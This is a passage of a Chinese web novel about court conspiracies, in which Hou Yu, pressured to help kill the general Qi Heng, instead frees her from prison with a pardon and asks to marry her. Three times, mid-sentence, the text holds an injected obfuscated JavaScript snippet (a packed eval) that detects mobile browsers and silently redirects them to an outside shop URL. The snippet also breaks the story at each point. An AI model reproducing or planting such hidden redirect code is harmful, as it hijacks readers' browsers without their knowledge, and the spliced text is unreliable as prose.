“当初说好的只是把她贬出枢密院,现在又要送她流放。你当戚姮是什么一般人,怎么说她娘也是波斯王室出来的,流放时逃了怎么办,带着兵再打回来怎么办?” 后煜低声道:“你别忘了,波斯出过独孤兰殊。搞出的三城战役把戚砚他爹守了六年的贸易关口都给击破了,死了以后才等到戚砚上去把波斯打服。” “波斯有政策,君主民选制,碰到百年一遇的人才连性别都不限。追溯往上,独孤兰殊是戚姮的舅舅,都说侄子肖舅,你还看不出来她的打法和脑子随谁吗?” “你猜,一个年轻的,有为的独孤兰殊翻版回去,是当将军还是直接当皇帝?” “把她逼回去,戚砚也就走了。你们是不是搞错因果了,不是定远侯在这,戚姮才在这。是戚姮想去哪,定远侯就在哪。” 后煜闹不明白:“西北波斯,北疆北凉,就靠定远侯府镇守了。你们……到底想干吗?” 20. 小窝囊废【六】 夏怀微明显是听进去了,表情异常凝重,半晌没说话。 后煜嘴皮子都快磨破了才换来这结果,给自己倒了杯茶灌下,得以喘息。 本来算了一天账就烦,再看到这几个不长脑子的更烦。也不看看现实情况就动手,贬下枢密院得了,还流放。 后煜被蠢的脑仁疼。 夏怀微打量了一番后煜:“你什么时候对波斯这么了解了。” 他一愣,才道:“随便翻翻,常规的四书五经看完了,就看点别的。” 夏怀微面露古怪:“你到底真忙假忙?我都没时间看这些。” “……” “那你知道独孤兰殊是谁吗。”夏怀微话锋一转,“或者说,独孤兰殊的亲娘是谁。” 后煜:“谁?” “永懿公主。”夏怀微一字一句,“赵解忧。” 后煜微张着嘴,惊吓道:“她不是十九岁薨逝于宫中走水了吗?” “皇家秘辛,且听且珍惜。” 夏怀微还有心思开玩笑:“多年前永懿公主一见钟情波斯派来入京和谈的太子独孤尧。你既了解他们储君制度,必然也知道婚姻制度。” 后煜点头:“自由择偶,奉子成婚。” “独孤尧就是这么对永懿公主说的。” 夏怀微道:“我那姨母脑袋也不灵光,还真敢这么做。她大概是第一位自愿去和亲的公主吧。宣宗皇帝不舍嫁女去波斯,对她说,只要堕掉孩子就能当作无事发生。” 夏怀微摊手:“结果她跟着独孤尧私奔了。这还没完,说好的回去就是太子妃,结果硬是拖到孩子出生,确认是男孩才正经成了亲。” “那个孩子,就是独孤兰殊。” 后煜下巴都惊掉了。 “我前几天还寻思,戚姮说跟我有亲戚关系是从哪论的,你一提,我就想起来了。” 夏怀微计算着关系:“她娘和我,是表姐弟,我确实是她表舅舅。” 后煜张了张嘴,又闭上了。 差点忘了夏怀微也是个皇亲国戚。 “看来这波斯也并非条例上那般开明。”后煜有了思忖,“还是讲究男人正统,连公主嫁过去都要受了冷待。” “是啊。她戚姮再能,跟独孤兰殊不也没有什么直系血缘,谁认她?” 夏怀微不以为意:“在中原待过的女人,还是定远侯府的,波斯不可能认。她又长得特立独行,中原也不敢认。” “处境尴尬得要命,偏她自己不觉得。” 后煜歪头:“波斯真不认吗?依照他们如今的处境,就缺戚姮这样的军事人才吧。” 夏怀微道:“波斯王室改姓贺兰好几代了,戚姮一个旧王室的,回去不是找死?” “戚姮回不去,新王室不会容她。戚砚也不可能陪她去,波斯一生死敌乃定远侯。各国矛盾错综复杂,都在抓细作,除了大燕,他俩哪也去不了。” “可……” 后煜想反驳,可是新波斯王不是出了名的只认贤才不认出身的吗。 就着夏怀微的话一寻思,再不认出身,难道还不认自己亲手推翻的旧王室吗。 “我得回去,商量杀了戚姮这事。” 后煜大为震撼:“什么?” 夏怀微道:“你说得对,她真是像极了独孤兰殊,在哪都是个隐患。现在才反应过来,她身上甚至有永懿公主的血,都能跟赵氏皇族挨边。” “左右把她拉下马,她都是要反,不如一举斩草除根,高枕无忧。” 后煜:“……”明显还是把我杀了更符合实际一点吧。 波斯肯认独孤兰殊这个杂胡,为什么汴京里都不认戚姮? 新的疑惑窜上脑,后煜闭口,不想再无休止地讨论了。 戚姮留在汴京要被杀,回波斯要被杀,北凉就更别提了,她敢踏进一步都是万箭齐发伺候。 这般下场,仅仅只是因为不服管教,军事天才无法被人驾驭,就成了又惧又怕的不定性因素。 豆蔻年华,正是心比天高的年纪,却要求她有不惑之年的稳重。未免太苛刻了。 而独孤兰殊,更是慧极必伤,天生的病种,十五岁就死了。 后煜想,他俩还真是相似。 “要杀你们自己杀去,别捎上我。” 后煜还没想好如果戚姮流放了死了,自己又该如何应对解烺,心里正烦着:“我不参……” “你必须得来。”夏怀微的语气不容置喙,“当初选你去勾引戚姮,是一致投票。只有你这样惨的人,才能激发她那种人的怜悯。事实证明,你俩进展的确很快,她的确吃这套。” “……” 后煜冷下几分:“我没娘,我没人疼,我被欺负都是我活该了?就必须要成为你们相斗的试水工具?牺牲品?” “我就是不想干了,能怎样。” 夏怀微微笑:“选好了一个战队就已经踏入了浑水。戚姮知道你做过什么,还会给你好脸色看?要么把她斗下去,要么她把我们斗下去。你现在为她说话,她半分不会承你的情,最后还是要一起被清算。” 后煜也不与他争,只道:“我从头到尾都没有下场参与的打算,更是没对不起她一分,清算也算不到我头上。” “这次还想拉我下水?是你们硬把我推进去的,让我做什么我都做了。我工作真的很忙,算账算得手抽筋,都要靠针灸缓解。除此以外,不要另给我安排些别的。” “你知道她有多敏锐吗?早就猜到我另有所图,前几天把我揍了一顿!” 后煜越说越慷慨激昂:“御史中丞没挨到,我是真挨到了。她打人特别特别特别疼,我现在要挨两顿打,要不是你们非逼我去,我压根都不会接近那种人!” “还说她喜欢扎耳洞的男人,硬给我扎了两个,等我什么都承受完了,还来质疑我会反水?也行,找个人来替我挨揍。” 后煜气得又拍桌子又扔筷子,叮铃咣当一顿响,就差把整个桌子都给掀翻。 夏怀微吓了一跳,连忙安抚,生怕他真撂挑子不干了了:“别激动,别激动。” 后煜句句肺腑,全都是心里话。憋了那么久,终于有地方能发泄出来了。 夏怀微解释:“我不是质疑你,我是怕你入戏太深,脑袋一热再真爱上她了,坏掉计划。” 后煜:“你看我像吗?” 夏怀微真诚地:“现在看来,毫无可能。” “那你臆想什么?” 夏怀微叹气:“食色性也。如果她是个寻常闺阁小姐,会很抢手。” 后煜“哼”了声:“她要是闺阁小姐,还用得着你们费这么大的心思对付?” “还不如真的是。”夏怀微摇头,“我最近才打听到,定远侯为她请的夫子,是解檀……你应该认识吧?” 后煜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531469|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从记忆里寻找这位解檀,寻了半天,没印象:“不认识。” 夏怀微:“你祖父的兄长。” 后煜也没什么反应:“哦。” 夏怀微舀起了汤:“解檀少说也花甲了,消失了几十年,最后一次出山还是为了教养戚姮。定远侯到底从哪挖出来的人?” 提起解家人,后煜更不耐烦了:“我哪知道。” 夏怀微也不在意,自顾自继续道:“戚姮命太好,身边全是贵人。我一个谏议大夫听她上朝,都惶恐,还好没让我去弹劾,她真敢上手,还没人打得过。” “戚砚和解檀这么一养,就给她养的文武双全,太难对付了。” “秦国公府这么一群人,该无视你的无视,该欺负你的欺负。没供你读过一天书就算了,还跑去教导戚家的孩子。” 夏怀微叹:“到底是她戚姮命贵啊。赵氏皇族,波斯独孤氏,定远侯戚家,连秦国公府都有人托了她一把。” 火腿鲜笋汤端到面前,后煜跟着伸来的这只手移动视线,望向夏怀微的目光如凌厉尖刀,咬牙切齿道:“我的命就贱到你要一遍一遍提醒我吗?” 夏怀微却摇头:“总有人命贵,有人命贱。一人占一个坑,只有贵的人被拉下来,才有贱的人能爬上去。” “五姓七望,世家门阀,被一场起义杀的干净。江山王位,人皇天子,一句王侯将相宁有种乎,现在发现人人都能坐得。” 油灯被夏怀微移到了桌沿中央,好让他能看清些后煜的表情,此刻的麻木,纠结,以及痛苦。 “碌碌无为的是庸才,出人头地的是贵人,优柔寡断的才是贱命。”夏怀微逼近了些,“当机立断,先斩后奏,把惊天动地的大事做成,再以结果定英雄。” 后煜面无表情。 “想想你哥哥。”垂在夏怀微耳侧的发丝活像条盘绕的毒蛇,内心的显化:“若你不能翻身,等你爹一死,他继承爵位,你还能活几时。” 解烺得知后煜存在的那年八岁,同父异母的弟弟已有五岁。 一夕之间,他从家中的独子、准继承人,沦为嫡长子。 外人看来不足以记念的微小差距,在解烺心中是无法接受的天差地别。 随时可能被分走的继承权,同样姓解的权利,父亲流向他的些许目光……解烺只想想就难以接受。 小孩的嫉妒心往往更要直接,强烈,不计后果。 夏怀微声音幽幽:“戚姮的存在挡了谁的路,你知我知。知道的太多,头上便悬着剑,要么做到底,要么死。死了才能不参与,全身而退。” 戚姮如今下了大狱,解烺知不知道。 后煜脑中闪过这点,控制不住牙关打颤,手脚发冷。 他突然迟来的意识到,戚姮的现状落在别人眼中,是大势已去,日暮途穷。 解烺惯会欺软怕硬,戚姮倒台,最高兴的莫过于他了。没了制衡的筹码,下次碰见,解烺会怎么报复被咬的那一口。 “杀了戚姮,尽快。才能早日结束这些,你也能熬出头了。”夏怀微喊他,“解羽,早就到了你死我活的阶段了!你在想什么?到时候宰了你哥哥都是顺手的事。” “……” 活在解烺阴影下的日子简直生不如死。 必须要杀了他…… 后煜抓住这根稻草,因为仇恨憋红的双眼蓄着泪,平和语气后:“你要我做什么。” 21. 翻身上位【一】 在牢里的第七天,暗无天日,冷清凄凉。 戚姮已经无聊到学赫连般若扣石子在墙上刻字了。 “不能毁坏墙壁!这是公物!不能刻字不能刻字啊!” 狱卒扒在栅栏上,眼睁睁看着戚姮一天到晚没个老实样,今儿又打算干坏事,坏事还升级了。满脸绝望地冲里面喊,就差跪下了:“求你了世子,不然我要挨训了。” 戚姮头都没回:“关我鸟事。” 偏偏上头有人吩咐了除送饭以外不能开门近身,不能亏待、审讯,他连进去阻止的权利都没有。 戚姮在整面墙最右侧刻下大大的“草蛾冤”三个字,喃喃自语:“你们合起伙来污蔑我,一个都不无辜……古有窦娥六月飞雪,今有戚草蛾五月冤雨,浇灭了我一腔抱负,你们赢了。” “我要写千字文,然后一头撞死在这。以证清白,以表忠心。” 她一边念叨一边奋笔疾书,“哒哒哒”刻着,迅速写完了第一列。 那狱卒又嚎了半天,眼见劝不动跺着脚生着气走了。 等戚姮写到整面墙的一半,另一道脚步缓缓靠近,她冷哼一声:“换个人也别想劝,我今天一定是要死的。” “御史中丞,逼死忠臣。联合侍卫亲军步军都指挥使,污蔑良将。臣输在天真轻信,被提前布局陷害。而那证人,也非什么好人,臣已不敢再信,故拿不出手……” “后煜?!” 戚姮听他念完第一列才猛地转头,大步迈过去,从栏杆间的空隙伸手过去,一把扯下他蒙面的纱布,惊讶道:“真是你啊。” 后煜戴着面纱时看不清表情,此刻被摘了才发现他脸都黑了,转过目光,紧盯戚姮:“我很拿不出手?” 戚姮未语,反将后煜上下打量一番。 身着夜行衣,面带黑色纱布,这副干练的装扮实属反常。 况且,他根本达不到探监资格,也无狱卒前来通报,为什么能悄无声息出现在这。 联合近日这些糟心事一琢磨,戚姮心中顿时警铃大作,后退几步抬手格挡:“你是来杀我灭口的?!” “……” “在你心中我就是这样的人?”后煜质问,“又拿不出手,又会杀了你。” 戚姮疑惑:“不然呢?联手把我送进来的就是你背后那几个,难道你是什么出淤泥而不染的好人吗?” “…………” “我凭什么相信你。”戚姮又弹开好几步远,戒备地看着后煜,“现在打扮成这样来,除了灭口,还有别的可能吗?” 后煜表情很冷,忽地伸手向后腰。 戚姮心道果然是个扮猪吃老虎的双面人,屏住呼吸严阵以待,就见他……掏出了一串钥匙晃了晃:“还可能是劫狱。” “??” 戚姮目瞪口呆地看着那串还泛着银光的钥匙,后煜估计忘了到底是哪一把,挨个去试。 试了至少十几次,终于在她要骂人前打开了。 戚姮侧身躲开他要握上来的手,后煜一愣,还去抓她。戚姮继续躲,跟条泥鳅似的满牢房乱窜,始终就是抓不到。 后煜好声好气:“我不杀你,我是来救你出去的。” 戚姮骇然,反而向墙角去:“我不出去。直接杀和间接杀有区别吗?指望着我主动越狱罪加一等,三条罪压下来直接秋后问斩全家流放了。” 后煜不可思议地:“你怎么会这么想?我真的是来救你的。” “大哥,我求你了。”戚姮双手合十,只觉荒谬,“你现在唯一能救我的方式就是立刻马上左转回家。” “你还当我是在开玩笑吗?知道你进来的这几天外面已经发展成什么样了吗?!” 后煜追了上去,扣住戚姮的肩膀,难得的正经,厉色道:“已经没有翻案的可能了,还当陛下会向着你?你这次惹的人连官家都动不起。” “御史中丞是几十年的老臣,文臣集团里除了秦国公便是他。势力遍布整片朝野上下,他若真想置你于死地,除非姓解的帮你,否则别无他法!” 戚姮被吼的一愣:“……什么?” 见她终于上心,后煜这才放缓了语气:“你自己都知道这一切有多巧,摆明是李在溪和宁淮串好了,要联手对付你。一,你不知道暗道的机关如何开启,二,因为应小姐越狱这事你跑上跑下,急火攻心都晕倒了。是不是你放跑的我还不知道吗?” 从唯一的证人嘴里亲口听见赫连般若不是自己放跑的,戚姮下意识是庆幸。 再被冤枉下去她自己都该恍惚了,难道真是哪天做梦给放了。好歹有人知道真相,被关了一周的怨怼委屈微微卸下。 后煜的侧脸被牢内点的烛火染暖了几分,表情坚决:“官家查了一周,反被补全了所有漏洞,此案无解。无论逻辑还是证据,都比你一个连证人都拿不出来的嫌犯更服众。” 戚姮:“官家知道不是……” 后煜直接打断:“朝堂联合请奏,谏议院轮番劝谏,御史台弹劾的奏本一天能有几公斤重。光官家知道有什么用?他被重重施压,就是再想保你也要看看现实情况吧。” “比起龙椅,难道你觉得,在他眼中你更重要?” “我更重要!”戚姮拂开后煜的手,面上攀上一抹愠怒之色,心下颤动不已,第二句再开口已经没有了底气,“我更重要……” 后煜惊呆了:“你哪来的自信?” 他重新箍住戚姮的脖颈,拇指扣在颌下,抬起她的脸,看模样比戚姮还生气:“我告诉你吧,是个男人都只要皇位,什么媳妇孩子兄弟姊妹,连同父母,都没有一个皇位重要!” “官家是从他亲哥哥手里接过来的帝位,好听点是禅让,但你想过吗,为什么赵轻絮只在位两年?为什么赵轻絮没有任何皇嗣?为什么赵氏宗亲都死完了?” “他连他亲哥哥都能下得去手,对付你一个没有血缘关系的外人,功高震主的武将,桀骜难驯的女人,难道就能手软了?” “啪”的一声,戚姮抡圆了胳膊一巴掌扇了过去。 后煜躲闪不及,被整个掀翻在地。 “先帝不是他杀的!你懂个屁!”戚姮蹲下身,“我承认,他的确皇位至上。但你也少挑拨离间,你又不了解他,少阴谋论了!” “还有,先帝的名字是你喊的吗?” “你反应这么大做什么!”后煜捂着脸,强忍下眩晕,“到现在了你还这么天真?没有官家下旨我敢揣测圣意吗?他是不杀你,却是死罪可免活罪难逃,要流放,去岭南蛮夷之地!” 戚姮听到这心脏狂跳,冷热对冲在体内,一把抓住后煜的胳膊,攥得他痛苦地皱起眉:“就算是真的,又为什么是你出现在这儿?” “我喜欢你,我不是早就说了吗?”后煜破罐子破摔地: “我是窝囊,是顶不起事,大难临头不也只有我一个人敢来救你?反正我早受不了在太府寺当差了,都拿我当驴使唤,起早贪黑还要还二十年债。还不如同你远走高飞,天涯海角我陪你躲。” 府衙牢狱顶层就这么一间房,空空荡荡,话喊出去还能飘来回声。 “我不信你。”戚姮依旧只有这句话,起身后退两步,“我还有我爹,要是真的他早杀进来了。” 后煜急地喊:“到现在了你还不信我?” “你以为你这样做是重情有义,可我只觉得今日你能背弃旧主,来日就能以同样的方式背弃我啊。” 戚姮扯着头发在原地转了三圈,闭着眼调整思绪:“不好意思,刚刚太激动了,又打你了。无论真假,先谢谢你的好意。但我实在信不过你,赶紧走吧。” 后煜被她堵得一噎,所谓“一次不忠终身不用”,向来是被反水的人谨记的逻辑。 戚姮这疑心病居然在被投靠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531470|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候也能拿出来用。 “先前是我不对,站错了队,来帮着他们对付你。人非圣贤孰能无过,你给我一次机会好不好,你信我一次好不好?” 戚姮:“你再废话我就动手了。” “……” 油盐不进。 看着戚姮抬起的动作,他向后缩了两下,垂下眼:“那你还能不能再亲我一下。今日一别,以后就再也见不到了。” 戚姮迟疑片刻,突然问:“他们会晕一个时辰?” “嗯。”后煜问,“你肯跟我走了?” “不是。” 戚姮上手解起了衣裳。 入夏后本就热,还蹲了大牢,戚姮简简单单就穿了件单衣蔽体。脱到只剩淡紫色的肚兜,她道:“反正以后见不到了,亲一下多没意思,来一发吧。” “!!” 后煜瞬间无比惊恐,踉跄着爬起来,一个劲地往后退,直到后背抵到墙面,退无可退,戚姮伸手撑在他的耳侧,道:“我可能没什么经验。多担待。” 后煜头皮都要炸起来了,语无伦次地“我”“不”了半天,话都说不利索:“这里是大牢!!” “又没人。” 他转身想从另一边逃,戚姮抢先一步挡住,两边彻底堵死,戚姮二话不说凑了上来,后煜抬手疯狂抵挡,却正好碰到两团柔软的肉。 戚姮低头:“原来你这么心急啊。” 后煜人都快炸了,慌忙缩回手。手肘还“咚”地砸到墙上,疼得他有一瞬面容扭曲:“我没有!” 戚姮:“还是个傲娇。” “…………” 知道她天不怕地不怕,可也猜不到是这般的胆大,在牢里就敢行周公礼,还丝毫觉不到哪不对。 戚姮的文学素养虽高,可做事保留着完完全全的武将风格,喜欢把人困在她最舒适的范围进攻。连接吻都是把人圈住,一步步推到预备好的位置,后煜别说逃跑,压根都站不住。 他倒在了戚姮这几日睡的干草堆上,戚姮趴在他身上磨蹭,手指尖都扯到腰带了,咔哒,应声解开。 扑腾的双腿翻腾不出什么作用,后煜卯足了劲推她,更是纹丝不动。他被吻的喘不过气,明明应该紧张的氛围逐渐旖旎,终是无力抵抗,也演不下去了。 后煜缓缓抽出袖中藏着的东西,刚拔出一寸,就被有所察觉的戚姮反手钳住,转头想要夺下:“我就知道……” “戚姮接旨。” 戚姮动作一滞,明黄的圣旨真就悬在脑袋上,身体比脑袋反应还快退到一旁跪下听旨。 后煜都没打开,递到戚姮眼前,躺着缓了许久,才平静地把里头简短的内容读了:“朕,已知真相,无罪释放。钦此。” 戚姮:“………………” 戚姮的咆哮回荡在开封府上下五层大牢内,黑夜中所有已经入梦了罪犯都能瞬间惊醒:“你果然是耍我的!!!!” “哈哈哈哈——” 后煜连滚带爬的躲开戚姮踹来的那脚,笑得直不起腰,满地爬着躲开她的攻击。 戚姮折返回去捞起自己刚脱下的衣裳,满是怨气地:“好玩吗?!看不出来你还挺喜欢唱戏!” 后煜往地上一瘫,揉着被打疼的脸,好不容易才把前几天的伤养好,今个又栽了。 他随意一瞥,看清戚姮后背的刺青。 一只展翅的玄鸟,几乎铺满了整个左肩胛骨。 后煜收回视线,晃着坐起来,手肘向后撑:“我好不容易替你平了反,拿了圣旨来接你。”又指着墙壁,“上来就看到你写我拿不出手。” “我生气。” 戚姮没好气地:“咋不气死你?” 后煜:“离死也不远了。” 戚姮看向自己刻下的杰作,又瞥向后煜:“你去给我做证人了?” “除了我,谁能证明你的无辜?” 22. 翻身上位【二】 后煜恢复如常,音色淡淡:“别人跟我一讲朝上那些事,我就想明白了。” “你当时没把我说出来,是怕我跟宁淮串通好了要一起整你。证人若承认罪行,也就彻底定了案。” “所以对我闭口不谈。”后煜打量了一番这周围环境,“宁愿跑这来住几天。” 戚姮挑眉:“脑子转的还挺快。” 后煜掀起眼:“还好你没当堂说出来。” “瞒着他们几个给我做的担保吧。”戚姮瞧他这反常的打扮也能猜个七七八八,“还不敢让人知道。” 后煜借着屋里暗,以为自己看不清戚姮,她也看不清自己,才敢肆无忌惮把目光落在戚姮脸上。 事事都能被看穿的感觉,实在……很不爽。 晓之以情,动之以理,软硬兼施。都扯出了什么远走高飞,连带着挑破皇家虽众所周知,但不能明面说的秘密。她愣是从头到尾一个字都不信。 转念一想,倒也是有迹可循。 谁能信个明牌卧底的话。 后煜:“若被知道我突然反水,他们定然不会放过我。何止只有你被针对,我这种在他们手底下做事的亦难。” “避了两天风头,寻了证据才偷偷找着官家说明白,还要求他别说是我作的证。除此以外,别无他法。” 他眸中的思量,依稀夹带着道不明的依赖被一览无余,戚姮品不明白,饶有兴趣问:“你这么做图什么。” “别说什么喜不喜欢,我不信。还有你那些投诚的话,我也不信。所以别想进我手底下做事,换个别的理由。” 戚姮穿好衣服,道:“真诚点,人与人还是要坦诚相待。你光让我猜,我就很想揍你。” “……” 说话还是这么直接。 后煜喉结微动,哽了很久,才挣扎间徘徊,差一点就咽回去了:“我救了你一命,你能不能也救我一次。” 一报还一报,倒是公平。 戚姮问:“出事了?” “嗯。是有点大事。”后煜轻声应,“我想跟你成亲。” 戚姮脸垮了下来:“你有病啊?” “不是别的原因。”后煜忙解释,“你应该也调查过我,知道我是什么情况。实话说,我真受不了那种被胞兄当狗踹的日子了。” “满打满算,我就认识三四个人。今日提起是有点唐突,但我只跟你还算相熟,不知道该求助谁了。” 后煜稍显疲惫:“他正好也害怕你,要是我能借到你的势,日后定然好过许多。就当是……你随手施舍,我也不求别的。” 戚姮环着胳膊听完他的讲述,食指有一搭没一搭地敲击着小臂:“为自保?” “嗯。” 成亲不是小事,至少戚姮现在还没想过。 一旦成家顾及就多了,戚姮自知已经一只脚踏入了龙潭虎穴,往后的日子只比如今还惊险。现在只有他们父女二人,哪天侯府真被抄家了也能躲别的地方过。 可要是拖家带口,戚姮就不敢再像现在一样肆意妄为了。 皇帝发怒真的会死一片。 想当年侯府还是戚姮祖父掌权时,与熹宗皇帝打了二十多年太极。 轮到戚砚有了戚姮,时局早已趋于稳定,无仗可打于侯府而言是绝对的劣势,他直接躲着不见赵繁英,也不入朝堂。 戚姮想了想,她肯定过不了这么平淡憋屈的日子。 更何况,戚姮对后煜初印象很一般,后来又觉得性格也不觉得讨喜,窝囊劲能憋死个人,又是个卧底,谁敢跟他共处一个屋檐下。 就算抛开那些,要成亲也不要这种男人啊,生孩子随他怎么办。 但今天是有些欠他的,就难拒绝了。 面对洗刷自己冤屈的“恩人”,戚姮脸皮再厚也不好意思直接拒绝,得想想用什么理由劝退:“进我家得是倒插门。” 后煜摇头:“没事。正好落个户。没人认我,我就另找个族谱。” 戚姮又说:“得端茶倒水,孝顺我爹,最好把官辞了,日后有孩子了亲自照顾。” 后煜还是摇头:“没事。我爹跟死了没区别,认个新爹也可以。孩子我可以带,家务我也会做。在太府寺算账钱少事多官低权利小,还要挨批,我早不想干了。” 这咋全说他心坎里去了! 戚姮挠着头回忆媒婆口中的烂姻缘恶婆婆是什么样的:“正室我真有人选了,你要是没意见的话,还真只能当小。” 后煜点头:“可以。” “……” 戚姮:“孩子也必须随我姓,你这辈子都不许跟第二个女人说话。如果我去上战场,你就要被送进寺庙先当个几年和尚,吃斋念佛清心寡欲,我会派人看着你。” 后煜果真没那么干脆了,想了想,就在戚姮以为他知难而退时,突然道:“孩子是你生,还会给我这么个无名无分的生?你这么好。” 戚姮差点吐血。 “你若是不同意可以直说,不用这般拐弯抹角。” 后煜掩去落寞,皱起眉,又缓缓解开:“我都可以接受。” 戚姮凝视着他,直截了当:“你这可不像会接受的样。” “那能怎么办。”后煜一闭眼,脸颊迅速滑落几滴泪,“我还能逼婚不成?我……我都快活不下去了,谁又能把我的话当威胁。” 戚姮起了两分复杂之心。 “不同意我只能再想别的方法,日子总还要过下去。我得活下去。” 后煜抬手抹了下脸,越擦越多,绷着的表情再维系不住,他觉得难堪,只能抱着膝盖埋头进腿间:“没关系。” 戚姮送自己进来就是奔着长记性去的。 但凡没那么同情心泛滥给曼文留下那根簪,直接证明了过深的联系,都不至于被当堂压制地翻不了身。 与后煜的关系跟普通朋友相比,都还隔着一道“立场不同”的鸿沟,算得上个政敌。 还恩方式千万种,戚姮就是拒绝也合情合理。 她摸不准这到底是实话,还是故意设计的一环。 已经被泛滥的同情心害成现在这样了,到头来发现就是天性,长不了记性。 戚姮在原地站的□□,丝毫没有应允的意思。后煜再窝囊也有自尊心,且不小,没再多废一句话就要转身爬起来。 腰上突然被戚姮用脚勾了一下,整个给后煜掀了个身,他又坐了回去,双手向后撑着地,稳住了重心。 反正家里已经有一个更难测的北凉公主,跑了个确实是叛党的楼兰公主,再收个不知哪方的细作,也无所谓。 还能蹦哒出花来? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531471|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚姮单膝蹲在后煜面前,平静开口:“虽然不知道你的处境到底有没有说的这么严峻,但你没有害我的命,我就不会放任你于不顾。” “我暂且先把你的话归到实话中,以后再看。” “约法三章。” 戚姮伸出食指:“第一,我不管你是真的还是装的,日后有什么打算,还会不会跟他们联系。最好别让我逮到。” “第二,官辞不辞随你,这些我不限制,老实点就行。” “第三,不贞的人我不要,你也懂是什么意思。” 戚姮说完了最基础的三点,思索着还有什么要补充的:“无名无分听起来怪可怜的,回去我会正经办礼。你那宅子的债我给你还清,也别管了。” 她说话太快,逻辑丝滑,眨眼间就安排好了一切。 后煜听着都是正经要求,也没什么可反驳的地方,闭着嘴没吭声。 “就这样吧,具体没想好,回去再问问。”戚姮言尽于此,觉得自己已经够可以了,点点头,刚要起身又被拉了回去。 后煜双手抓住了她的小臂,仰起脸问:“我一辈子只能当小吗?” “当然了。正室我要找个温情似水的,真有人选了。” 戚姮瞄到后煜那副又要哭了的样子,把后来的话咽了回去:“要是过几年我死官人了,再扶你上位。” 她应付着:“看情况,看情况。” 根本不给他哭的时间,戚姮拎着后煜的领子直接拖了起来,拉着向外走。 一路从顶层走下来全是躺倒的狱卒,也不知后煜用了什么办法,竟连一个清醒的都没留。 戚姮不可避免地踩到了几人,疯狂嘴角抽搐:“你还真迷晕了这么多人啊?” “他们知道了再告密怎么办?我不放心。”后煜做事相当谨慎,“用的药很猛,一个时辰只多不少。” 戚姮感叹:“这开封府真跟客栈似的,想来就来想走就走。” 夜风裹挟着自由的味道,戚姮拥抱苍天,大笑着喊“身正不怕影子斜,有种弄死我啊”,畅快极了。 她哼着小曲往侯府的方向悠哉悠哉迈步,盘算着接下来如何对付御史台。 衣角忽地被扯住,戚姮回头。 后煜站在夜色中,额前刘海被掀起,天生的卷毛此时趁着还有些可爱,明明哪都没变,又好像哪不一样了:“我去哪。” 戚姮想了半天怎么会觉得这男的可爱:“当然是回你家啊。” 后煜紧抿着唇,还是不松手。 这几日一直忙的脚不沾地,几乎全天待在太府寺,回家的时辰晚到连狗都睡了。 国公府有宵禁,解烺逮不到空,已经很久没有来找过茬了。 戚姮出事的消息早就闹的沸沸扬扬,都赌着说她要折在这次,他不可能不知道消息。前几日把解烺伤的那么狠,以他的性格估计就等着时机报复回来。 今天忙完的时辰早,万一回去碰见他该怎么办。 戚姮看透了后煜的心思,道:“过几日我再迎你进门,绝对的。” “能不能就明天。”后煜乞求道,“可以吗。” 戚姮着急回去:“行行行,你回家收拾东西去吧。” 后煜被三言两语给赶跑了,三步一回头,揣着手,缓步走在墙角的阴影中。 23. 翻身上位【三】 戚姮行至一半,突然想起得了赦免圣旨,应该进宫去谢恩才对。 此事闹得那么大,一周了调查依旧毫无进展,要不是证人自己跑去作证还不知要僵持多久。 几乎全都认定了此案元凶就是戚姮,赵繁英却拖着迟迟不处置,摆明了就要包庇,肯定又挨了谏院不少的骂。 好不容易整出来了,再不去慰问一番,能给他气死的吧。 要说戚姮能长成今天这般大胆,赵繁英负主要责任。 戚砚年轻时也不规矩,等年纪上来后就变了,挑战皇权的事是一个都不敢再做。不仅不做,还教着戚姮不能做。 戚姮嘴上应下,却远没有他想象中那么老实。表现得跟小猫似的姑娘在戚砚看不见的地方,才叫真正的狂野嚣张。 十岁那年他和赵元溜去了御书房,戚姮翻出宝玺,学着赵繁英批公务的样子翻开奏折,阅读后给出批复,写完让赵元给盖上个印。 两个人脑袋凑在一起,乐此不疲地当起了小皇帝。 赵初年纪小,她俩不带他,却被这小子自己摸了进来,一个人在一旁安静写字画画,突然也拿走了宝玺,戳了个大大的红章。 等有太监发现他仨的时候差点吓尿了,在看见他仨玩的是御玺直直向后倒下,吓晕了过去。 紧接着换了个小太监,战战兢兢踉踉跄跄地去喊了赵繁英来。 犹记赵繁英那天也没发火,他先看了眼戚姮批好的奏折,对赵元说了句“批复不用盖章”,才拿起赵初写的东西。 大大的“阿姐嫁给我”五个字,底下署名赵初戚姮。 赵繁英只看了一眼迅速揉成团撕了,安排人把戚姮送了回去。 就当什么都没发生过。 